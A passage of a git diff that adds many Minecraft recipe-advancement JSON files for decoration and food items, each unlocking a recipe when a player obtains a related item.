+{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_stained_glass_pane_from_glass_pane" + ] + }, + "criteria": { + "has_glass_pane": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass_pane" + } + ] + } + }, + "has_red_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_stained_glass_pane_from_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass_pane", + "has_red_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/respawn_anchor.json b/src/data/minecraft/advancements/recipes/decorations/respawn_anchor.json new file mode 100644 index 00000000..29560741 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/respawn_anchor.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:respawn_anchor" + ] + }, + "criteria": { + "has_obsidian": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:crying_obsidian" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:respawn_anchor" + } + } + }, + "requirements": [ + [ + "has_obsidian", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/sandstone_wall.json b/src/data/minecraft/advancements/recipes/decorations/sandstone_wall.json new file mode 100644 index 00000000..82281fda --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/sandstone_wall.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:sandstone_wall" + ] + }, + "criteria": { + "has_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:sandstone_wall" + } + } + }, + "requirements": [ + [ + "has_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/sandstone_wall_from_sandstone_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/sandstone_wall_from_sandstone_stonecutting.json new file mode 100644 index 00000000..b4e230c7 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/sandstone_wall_from_sandstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:sandstone_wall_from_sandstone_stonecutting" + ] + }, + "criteria": { + "has_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:sandstone_wall_from_sandstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/scaffolding.json b/src/data/minecraft/advancements/recipes/decorations/scaffolding.json new file mode 100644 index 00000000..258731f4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/scaffolding.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:scaffolding" + ] + }, + "criteria": { + "has_bamboo": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:bamboo" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:scaffolding" + } + } + }, + "requirements": [ + [ + "has_bamboo", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/shulker_box.json b/src/data/minecraft/advancements/recipes/decorations/shulker_box.json new file mode 100644 index 00000000..96ccd9da --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/shulker_box.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:shulker_box" + ] + }, + "criteria": { + "has_shulker_shell": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:shulker_shell" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:shulker_box" + } + } + }, + "requirements": [ + [ + "has_shulker_shell", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/slime_block.json b/src/data/minecraft/advancements/recipes/decorations/slime_block.json new file mode 100644 index 00000000..05ab547b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/slime_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:slime_block" + ] + }, + "criteria": { + "has_slime_ball": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:slime_ball" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:slime_block" + } + } + }, + "requirements": [ + [ + "has_slime_ball", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/smithing_table.json b/src/data/minecraft/advancements/recipes/decorations/smithing_table.json new file mode 100644 index 00000000..ec0d2da7 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/smithing_table.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smithing_table" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smithing_table" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/smoker.json b/src/data/minecraft/advancements/recipes/decorations/smoker.json new file mode 100644 index 00000000..43b400ec --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/smoker.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:smoker" + ] + }, + "criteria": { + "has_furnace": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:furnace" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:smoker" + } + } + }, + "requirements": [ + [ + "has_furnace", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/snow.json b/src/data/minecraft/advancements/recipes/decorations/snow.json new file mode 100644 index 00000000..d4c75bcf --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/snow.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:snow" + ] + }, + "criteria": { + "has_snowball": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:snowball" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:snow" + } + } + }, + "requirements": [ + [ + "has_snowball", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/soul_campfire.json b/src/data/minecraft/advancements/recipes/decorations/soul_campfire.json new file mode 100644 index 00000000..9b71476d --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/soul_campfire.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:soul_campfire" + ] + }, + "criteria": { + "has_stick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stick" + } + ] + } + }, + "has_soul_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:soul_fire_base_blocks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:soul_campfire" + } + } + }, + "requirements": [ + [ + "has_stick", + "has_soul_sand", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/soul_lantern.json b/src/data/minecraft/advancements/recipes/decorations/soul_lantern.json new file mode 100644 index 00000000..17d87ddf --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/soul_lantern.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:soul_lantern" + ] + }, + "criteria": { + "has_soul_torch": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:soul_torch" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:soul_lantern" + } + } + }, + "requirements": [ + [ + "has_soul_torch", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/soul_torch.json b/src/data/minecraft/advancements/recipes/decorations/soul_torch.json new file mode 100644 index 00000000..d4cf570b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/soul_torch.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:soul_torch" + ] + }, + "criteria": { + "has_soul_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:soul_fire_base_blocks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:soul_torch" + } + } + }, + "requirements": [ + [ + "has_soul_sand", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/spruce_fence.json b/src/data/minecraft/advancements/recipes/decorations/spruce_fence.json new file mode 100644 index 00000000..394e16a5 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/spruce_fence.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:spruce_fence" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:spruce_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:spruce_fence" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/spruce_sign.json b/src/data/minecraft/advancements/recipes/decorations/spruce_sign.json new file mode 100644 index 00000000..9df0c919 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/spruce_sign.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:spruce_sign" + ] + }, + "criteria": { + "has_spruce_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:spruce_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:spruce_sign" + } + } + }, + "requirements": [ + [ + "has_spruce_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/stone_brick_wall.json b/src/data/minecraft/advancements/recipes/decorations/stone_brick_wall.json new file mode 100644 index 00000000..9cb9732a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/stone_brick_wall.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_brick_wall" + ] + }, + "criteria": { + "has_stone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_brick_wall" + } + } + }, + "requirements": [ + [ + "has_stone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/stone_brick_wall_from_stone_bricks_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/stone_brick_wall_from_stone_bricks_stonecutting.json new file mode 100644 index 00000000..e82c7d83 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/stone_brick_wall_from_stone_bricks_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_brick_wall_from_stone_bricks_stonecutting" + ] + }, + "criteria": { + "has_stone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_brick_wall_from_stone_bricks_stonecutting" + } + } + }, + "requirements": [ + [ + "has_stone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/stone_brick_walls_from_stone_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/stone_brick_walls_from_stone_stonecutting.json new file mode 100644 index 00000000..82d95c2c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/stone_brick_walls_from_stone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_brick_walls_from_stone_stonecutting" + ] + }, + "criteria": { + "has_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_brick_walls_from_stone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/stonecutter.json b/src/data/minecraft/advancements/recipes/decorations/stonecutter.json new file mode 100644 index 00000000..787da09b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/stonecutter.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stonecutter" + ] + }, + "criteria": { + "has_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stonecutter" + } + } + }, + "requirements": [ + [ + "has_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/torch.json b/src/data/minecraft/advancements/recipes/decorations/torch.json new file mode 100644 index 00000000..a3f8d80b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/torch.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:torch" + ] + }, + "criteria": { + "has_stone_pickaxe": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone_pickaxe" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:torch" + } + } + }, + "requirements": [ + [ + "has_stone_pickaxe", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/warped_fence.json b/src/data/minecraft/advancements/recipes/decorations/warped_fence.json new file mode 100644 index 00000000..866868aa --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/warped_fence.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:warped_fence" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:warped_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:warped_fence" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/warped_sign.json b/src/data/minecraft/advancements/recipes/decorations/warped_sign.json new file mode 100644 index 00000000..0d9dbcd9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/warped_sign.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:warped_sign" + ] + }, + "criteria": { + "has_warped_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:warped_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:warped_sign" + } + } + }, + "requirements": [ + [ + "has_warped_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/white_banner.json b/src/data/minecraft/advancements/recipes/decorations/white_banner.json new file mode 100644 index 00000000..76f517ad --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/white_banner.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:white_banner" + ] + }, + "criteria": { + "has_white_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:white_banner" + } + } + }, + "requirements": [ + [ + "has_white_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/white_bed.json b/src/data/minecraft/advancements/recipes/decorations/white_bed.json new file mode 100644 index 00000000..a6c78dfe --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/white_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:white_bed" + ] + }, + "criteria": { + "has_white_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:white_bed" + } + } + }, + "requirements": [ + [ + "has_white_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/white_carpet.json b/src/data/minecraft/advancements/recipes/decorations/white_carpet.json new file mode 100644 index 00000000..1ee05176 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/white_carpet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:white_carpet" + ] + }, + "criteria": { + "has_white_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:white_carpet" + } + } + }, + "requirements": [ + [ + "has_white_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/white_glazed_terracotta.json b/src/data/minecraft/advancements/recipes/decorations/white_glazed_terracotta.json new file mode 100644 index 00000000..34a7cb5e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/white_glazed_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:white_glazed_terracotta" + ] + }, + "criteria": { + "has_white_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:white_glazed_terracotta" + } + } + }, + "requirements": [ + [ + "has_white_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/white_stained_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/white_stained_glass_pane.json new file mode 100644 index 00000000..4251b594 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/white_stained_glass_pane.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:white_stained_glass_pane" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_stained_glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:white_stained_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/white_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/white_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..55fa9c7f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/white_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:white_stained_glass_pane_from_glass_pane" + ] + }, + "criteria": { + "has_glass_pane": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass_pane" + } + ] + } + }, + "has_white_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:white_stained_glass_pane_from_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass_pane", + "has_white_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/yellow_banner.json b/src/data/minecraft/advancements/recipes/decorations/yellow_banner.json new file mode 100644 index 00000000..1122fd94 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/yellow_banner.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:yellow_banner" + ] + }, + "criteria": { + "has_yellow_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:yellow_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:yellow_banner" + } + } + }, + "requirements": [ + [ + "has_yellow_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/yellow_bed.json b/src/data/minecraft/advancements/recipes/decorations/yellow_bed.json new file mode 100644 index 00000000..44b8e591 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/yellow_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:yellow_bed" + ] + }, + "criteria": { + "has_yellow_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:yellow_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:yellow_bed" + } + } + }, + "requirements": [ + [ + "has_yellow_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/yellow_bed_from_white_bed.json b/src/data/minecraft/advancements/recipes/decorations/yellow_bed_from_white_bed.json new file mode 100644 index 00000000..b0f24ff0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/yellow_bed_from_white_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:yellow_bed_from_white_bed" + ] + }, + "criteria": { + "has_bed": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_bed" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:yellow_bed_from_white_bed" + } + } + }, + "requirements": [ + [ + "has_bed", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/yellow_carpet.json b/src/data/minecraft/advancements/recipes/decorations/yellow_carpet.json new file mode 100644 index 00000000..fabe5376 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/yellow_carpet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:yellow_carpet" + ] + }, + "criteria": { + "has_yellow_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:yellow_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:yellow_carpet" + } + } + }, + "requirements": [ + [ + "has_yellow_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/yellow_carpet_from_white_carpet.json b/src/data/minecraft/advancements/recipes/decorations/yellow_carpet_from_white_carpet.json new file mode 100644 index 00000000..b4f3fa71 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/yellow_carpet_from_white_carpet.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:yellow_carpet_from_white_carpet" + ] + }, + "criteria": { + "has_white_carpet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_carpet" + } + ] + } + }, + "has_yellow_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:yellow_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:yellow_carpet_from_white_carpet" + } + } + }, + "requirements": [ + [ + "has_white_carpet", + "has_yellow_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/yellow_glazed_terracotta.json b/src/data/minecraft/advancements/recipes/decorations/yellow_glazed_terracotta.json new file mode 100644 index 00000000..aba4ab8f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/yellow_glazed_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:yellow_glazed_terracotta" + ] + }, + "criteria": { + "has_yellow_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:yellow_terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:yellow_glazed_terracotta" + } + } + }, + "requirements": [ + [ + "has_yellow_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/yellow_stained_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/yellow_stained_glass_pane.json new file mode 100644 index 00000000..80a776ff --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/yellow_stained_glass_pane.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:yellow_stained_glass_pane" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:yellow_stained_glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:yellow_stained_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/yellow_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/yellow_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..b2e0c6cc --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/yellow_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:yellow_stained_glass_pane_from_glass_pane" + ] + }, + "criteria": { + "has_glass_pane": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass_pane" + } + ] + } + }, + "has_yellow_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:yellow_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:yellow_stained_glass_pane_from_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass_pane", + "has_yellow_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/baked_potato.json b/src/data/minecraft/advancements/recipes/food/baked_potato.json new file mode 100644 index 00000000..55e4b787 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/baked_potato.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:baked_potato" + ] + }, + "criteria": { + "has_potato": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:potato" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + 